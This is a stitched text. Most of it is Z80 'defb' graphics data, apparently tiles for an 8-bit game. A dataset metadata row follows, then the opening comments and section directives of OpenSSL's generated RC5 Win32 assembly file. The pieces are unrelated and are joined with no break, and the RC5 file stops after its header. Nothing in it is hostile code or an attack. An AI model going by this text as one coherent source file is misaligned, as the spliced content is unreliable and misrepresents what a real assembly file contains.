defb 0x47
defb 0xFD, 0xFE, 0xFD, 0xBA, 0xF5, 0xFA, 0xD4, 0xA8
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x18, 0x24, 0x20, 0x70, 0x88, 0x00, 0x00
defb 0x4F
defb 0x48, 0x80, 0x0C, 0x12, 0x38, 0x44, 0x00, 0x00
defb 0x4F
defb 0x00, 0x03, 0x04, 0x18, 0x25, 0x60, 0x10, 0x02
defb 0x4F
defb 0x00, 0x80, 0x40, 0xE0, 0x12, 0x18, 0x24, 0x04
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0xC0, 0x90, 0x05, 0x8A, 0xC0, 0xA4, 0x7B
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x22, 0x11, 0xA2, 0x51, 0x01, 0x01, 0x29, 0x5E
defb 0x04
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
; blocks at pixel positionn (y=192):
defb 0x98, 0xC9, 0xD0, 0x60, 0xB1, 0x18, 0x9E, 0x07
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xDB, 0x69, 0x50, 0x69, 0x50, 0x22, 0x30, 0x2A
defb 0x4F
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x4F
defb 0xDB, 0x69, 0x50, 0x69, 0x50, 0x22, 0x30, 0x2A
defb 0x47
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x47
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x47
defb 0xDB, 0x69, 0x50, 0x69, 0x50, 0x22, 0x30, 0x2A
defb 0x47
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x4F
defb 0xDB, 0x69, 0x50, 0x69, 0x50, 0x22, 0x30, 0x2A
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x03, 0x04, 0x18, 0x25, 0x60, 0x10, 0x02
defb 0x4F
defb 0x00, 0x80, 0x40, 0xE0, 0x12, 0x18, 0x24, 0x04
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
; blocks at pixel positionn (y=200):
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x5F
defb 0xD8, 0xD2, 0x69, 0x32, 0x9D, 0x06, 0x0B, 0x21
defb 0x50
defb 0xD9, 0x72, 0x30, 0x32, 0x14, 0x18, 0x08, 0x00
defb 0x47
defb 0x51, 0xE2, 0x50, 0xE2, 0xF4, 0x6C, 0x14, 0x08
defb 0x47
defb 0xD9, 0x72, 0x30, 0x32, 0x14, 0x18, 0x08, 0x00
defb 0x4F
defb 0x51, 0xE2, 0x50, 0xE2, 0xF4, 0x6C, 0x14, 0x08
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x0A, 0x1D, 0x2B, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xEA
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x0A, 0x1D, 0x2B, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xEA
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0x7F
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFE
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0x7F
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xFE
defb 0x4F
defb 0x10, 0x1A, 0x10, 0x18, 0x14, 0x08, 0x08, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x10, 0x1A, 0x10, 0x18, 0x14, 0x08, 0x08, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x10, 0x1A, 0x10, 0x18, 0x14, 0x08, 0x08, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x10, 0x1A, 0x10, 0x18, 0x14, 0x08, 0x08, 0x00
defb 0x4F
defb 0x00, 0x18, 0x24, 0x20, 0x70, 0x88, 0x00, 0x00
defb 0x4F
defb 0x48, 0x80, 0x0C, 0x12, 0x38, 0x44, 0x00, 0x00
defb 0x4F
defb 0x00, 0x03, 0x04, 0x18, 0x25, 0x60, 0x10, 0x02
defb 0x4F
defb 0x00, 0x80, 0x40, 0xE0, 0x12, 0x18, 0x24, 0x04
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5E
; blocks at pixel positionn (y=208):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x01, 0x01, 0x00, 0x01, 0x00, 0x03, 0x00, 0x03
defb 0x43
defb 0xC0, 0xC0, 0x00, 0x40, 0x00, 0xA0, 0x00, 0xA0
defb 0x02
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x1C, 0x22, 0x14, 0x10, 0x14, 0x10, 0x14
defb 0x47
defb 0x00, 0x00, 0x6C, 0xBE, 0xFA, 0x74, 0x28, 0x10
defb 0x42
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
; blocks at pixel positionn (y=216):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x02, 0x21, 0x5F, 0x21, 0x00, 0x02, 0x01
defb 0x46
defb 0x00, 0xA0, 0xC2, 0x7D, 0xC2, 0x80, 0x20, 0x40
defb 0x06
defb 0x00, 0x7E, 0x42, 0x67, 0x24, 0x18, 0x18, 0x00
defb 0x45
defb 0x00, 0x00, 0x00, 0xFE, 0xAA, 0x1C, 0x14, 0x00
defb 0x05
defb 0x00, 0x3C, 0x66, 0x43, 0x42, 0x66, 0x3C, 0x00
defb 0x46
defb 0x00, 0x00, 0x00, 0xFE, 0xAA, 0x1C, 0x14, 0x00
defb 0x06
defb 0x00, 0x03, 0x2B, 0x75, 0xF9, 0xBD, 0x5F, 0x35
defb 0x46
defb 0x00, 0xA0, 0xD4, 0xE6, 0xF7, 0xFD, 0xAA, 0x54
defb 0x06
defb 0x00, 0x38, 0x76, 0xBF, 0xFA, 0xFF, 0x56, 0x28
defb 0x42
defb 0x00, 0x00, 0x00, 0x06, 0xFC, 0x06, 0x00, 0x00
defb 0x07
defb 0x14, 0x2A, 0x2A, 0x5D, 0x58, 0x55, 0x22, 0x14
defb 0x45
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x11, 0x00, 0x07, 0x4F, 0x05, 0x00, 0x11
defb 0x46
defb 0x00, 0x10, 0x00, 0xC0, 0xA4, 0x40, 0x00, 0x10
defb 0x46
; blocks at pixel positionn (y=224):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x1C, 0x6E, 0xF6, 0xF0, 0xF4, 0x6C, 0x18, 0x00
defb 0x47
defb 0x00, 0x0C, 0x36, 0x7A, 0x78, 0x36, 0x04, 0x00
defb 0x47
defb 0x00, 0x0C, 0x36, 0x7A, 0x78, 0x36, 0x04, 0x00
defb 0x46
defb 0x00, 0x0C, 0x14, 0x38, 0x14, 0x0E, 0x04, 0x00
defb 0x46
defb 0x00, 0x0C, 0x14, 0x38, 0x14, 0x0E, 0x04, 0x00
defb 0x42
defb 0x00, 0x00, 0x10, 0x28, 0x10, 0x00, 0x00, 0x00
defb 0x42
defb 0x00, 0x00, 0x10, 0x28, 0x10, 0x00, 0x00, 0x00
defb 0x41
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x41
; blocks at pixel positionn (y=232):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x0C, 0x36, 0x7A, 0x78, 0x36, 0x04, 0x00
defb 0x47
defb 0x1C, 0x6E, 0xF6, 0xF0, 0xF4, 0x6C, 0x18, 0x00
defb 0x47
defb 0x00, 0x0C, 0x14, 0x38, 0x14, 0x0E, 0x04, 0x00
defb 0x46
defb 0x00, 0x0C, 0x36, 0x7A, 0x78, 0x36, 0x04, 0x00
defb 0x46
defb 0x00, 0x00, 0x10, 0x28, 0x10, 0x00, 0x00, 0x00
defb 0x42
defb 0x00, 0x0C, 0x14, 0x38, 0x14, 0x0E, 0x04, 0x00
defb 0x42
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x41
defb 0x00, 0x00, 0x10, 0x28, 0x10, 0x00, 0x00, 0x00
defb 0x41
; blocks at pixel positionn (y=240):
defb 0x1E, 0x3F, 0x2B, 0x37, 0x1E, 0x02, 0x1C, 0x00
defb 0x4F
defb 0x00, 0x00, 0x40, 0x66, 0xF3, 0xF9, 0xF2, 0x38
defb 0x0D
defb 0x1E, 0x3F, 0x2B, 0x37, 0x1E, 0x02, 0x1C, 0x00
defb 0x4F
defb 0x00, 0x00, 0x7C, 0x7E, 0xFF, 0xE1, 0x82, 0x00
defb 0x4D
defb 0x1E, 0x3F, 0x2B, 0x37, 0x1E, 0x02, 0x1C, 0x00
defb 0x4F
defb 0x1E, 0x3F, 0x7F, 0x71, 0xE0, 0xC0, 0x80, 0x00
defb 0x4D
defb 0x1E, 0x3F, 0x2B, 0x37, 0x1E, 0x02, 0x1C, 0x00
defb 0x4F
defb 0x06, 0x03, 0x61, 0x7D, 0xFC, 0xF0, 0x80, 0x00
defb 0x0D
defb 0x18, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x45
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
defb 0x05
defb 0x00, 0x00, 0x10, 0x00, 0x10, 0x10, 0x10, 0x00
defb 0x45
defb 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
defb 0x45
defb 0x18, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x05
defb 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x45
defb 0x00, 0x00, 0x10, 0x00, 0x10, 0x10, 0x10, 0x00
defb 0x05
defb 0x00, 0x0A, 0x24, 0x11, 0x43, 0x03, 0x03, 0x07
defb 0x46
defb 0x00, 0x00, 0x00, 0x80, 0xC0, 0xC0, 0xC0, 0xE2
defb 0x46
defb 0x05, 0x00, 0x20, 0x00, 0x00, 0x01, 0x03, 0x07
defb 0x06
defb 0x20, 0x50, 0x00, 0x30, 0xF8, 0xF8, 0xF0, 0xF0
defb 0x06
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0F, 0x1F
defb 0x46
defb 0x00, 0x90, 0x04, 0x08, 0x02, 0x84, 0xF2, 0xF8
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x06, 0x2F, 0x4F, 0x27
defb 0x47
defb 0x00, 0x00, 0x00, 0x04, 0x00, 0x81, 0xC0, 0xE1
defb 0x47
defb 0x31, 0x68, 0x40, 0x01, 0x03, 0x03, 0x01, 0x00
defb 0x46
defb 0x01, 0x88, 0xC0, 0xC0, 0x80, 0x10, 0x18, 0x30
defb 0x46
defb 0x21, 0x83, 0x03, 0x01, 0x00, 0x00, 0x08, 0x0C
defb 0x42
defb 0x80, 0xC0, 0x10, 0x31, 0x98, 0x18, 0x10, 0x00
defb 0x42
defb 0x01, 0x02, 0x00, 0x9C, 0x3E, 0x1C, 0x04, 0x01
defb 0x46
defb 0xC0, 0x64, 0xA6, 0x0C, 0x08, 0x90, 0xC1, 0x80
defb 0x46
defb 0x05, 0x30, 0x60, 0x30, 0x09, 0x03, 0x83, 0x01
defb 0x42
defb 0x26, 0x13, 0x41, 0x80, 0xC0, 0xE0, 0xC0, 0xD0
defb 0x42
; blocks at pixel positionn (y=248):
defb 0x0E, 0x06, 0x0C, 0x14, 0x0C, 0x18, 0x08, 0xBD
defb 0x48
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0x6A
defb 0x4F
defb 0x0E, 0x06, 0x0C, 0x14, 0x0C, 0x18, 0x08, 0xBD
defb 0x48
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0x6A
defb 0x4F
defb 0x0E, 0x06, 0x0C, 0x14, 0x0C, 0x18, 0x08, 0xBD
defb 0x48
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0x6A
defb 0x4F
defb 0x0E, 0x06, 0x0C, 0x14, 0x0C, 0x18, 0x08, 0xBD
defb 0x48
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF, 0x6A
defb 0x4F
defb 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00
defb 0x05
defb 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x10, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10
defb 0x05
defb 0x00, 0x10, 0x00, 0x10, 0x00, 0x10, 0x10, 0x00
defb 0x05
defb 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00
defb 0x05
defb 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x47, 0x03, 0x03, 0x03, 0x01, 0x00, 0x00, 0x00
defb 0x46
defb 0xE0, 0xC0, 0xC0, 0xC2, 0x88, 0x24, 0x50, 0x00
defb 0x46
defb 0x07, 0x0F, 0x0F, 0x06, 0x00, 0x05, 0x02, 0x00
defb 0x06
defb 0xE0, 0xC0, 0x80, 0x00, 0x04, 0x00, 0x50, 0x00
defb 0x06
defb 0x1F, 0x4F, 0x21, 0x40, 0x10, 0x20, 0x09, 0x00
defb 0x46
defb 0xF8, 0xF0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x46
defb 0x07, 0x43, 0x01, 0x40, 0x00, 0x10, 0x00, 0x00
defb 0x47
defb 0xF0, 0xF2, 0xF9, 0xFA, 0x30, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x7F, 0x5C, 0x2B, 0x2A, 0x1B, 0x05, 0x00
defb 0x07
defb 0x00, 0xFC, 0x74, 0xA8, 0xA8, 0xB0, 0x40, 0x00
defb 0x05
defb 0x00, 0x7F, 0x5C, 0x2B, 0x2A, 0x1B, 0x05, 0x00
defb 0x07
defb 0x00, 0xFC, 0x74, 0xA8, 0xA8, 0xB0, 0x40, 0x00
defb 0x05
defb 0x00, 0x7F, 0x5C, 0x2B, 0x2A, 0x1B, 0x05, 0x00
defb 0x07
defb 0x00, 0xFC, 0x74, 0xA8, 0xA8, 0xB0, 0x40, 0x00
defb 0x05
defb 0x00, 0x7F, 0x5C, 0x2B, 0x2A, 0x1B, 0x05, 0x00
defb 0x07
defb 0x00, 0xFC, 0x74, 0xA8, 0xA8, 0xB0, 0x40, 0x00
defb 0x05
| 31.208934 | 90 | 0.686199 |
9df307108ff203c6fc406ff175e112bd7d0969b2 | 10,646 | asm | Assembly | crypto/rc5/asm/r5_win32.asm | enthought/openssl | 92bdfc15f79c05e5b3d004320a1cab353e654ab4 | [
"OpenSSL"
] | null | null | null | crypto/rc5/asm/r5_win32.asm | enthought/openssl | 92bdfc15f79c05e5b3d004320a1cab353e654ab4 | [
"OpenSSL"
] | null | null | null | crypto/rc5/asm/r5_win32.asm | enthought/openssl | 92bdfc15f79c05e5b3d004320a1cab353e654ab4 | [
"OpenSSL"
] | 2 | 2017-08-19T21:29:15.000Z | 2020-04-24T09:06:44.000Z | ; Don't even think of reading this code
; It was automatically generated by rc5-586.pl
; Which is a perl program used to generate the x86 assember for
; any of ELF, a.out, COFF, Win32, ...
; eric <eay@cryptsoft.com>
;
%ifdef __omf__
section code use32 class=code
%else
section .text
%endif
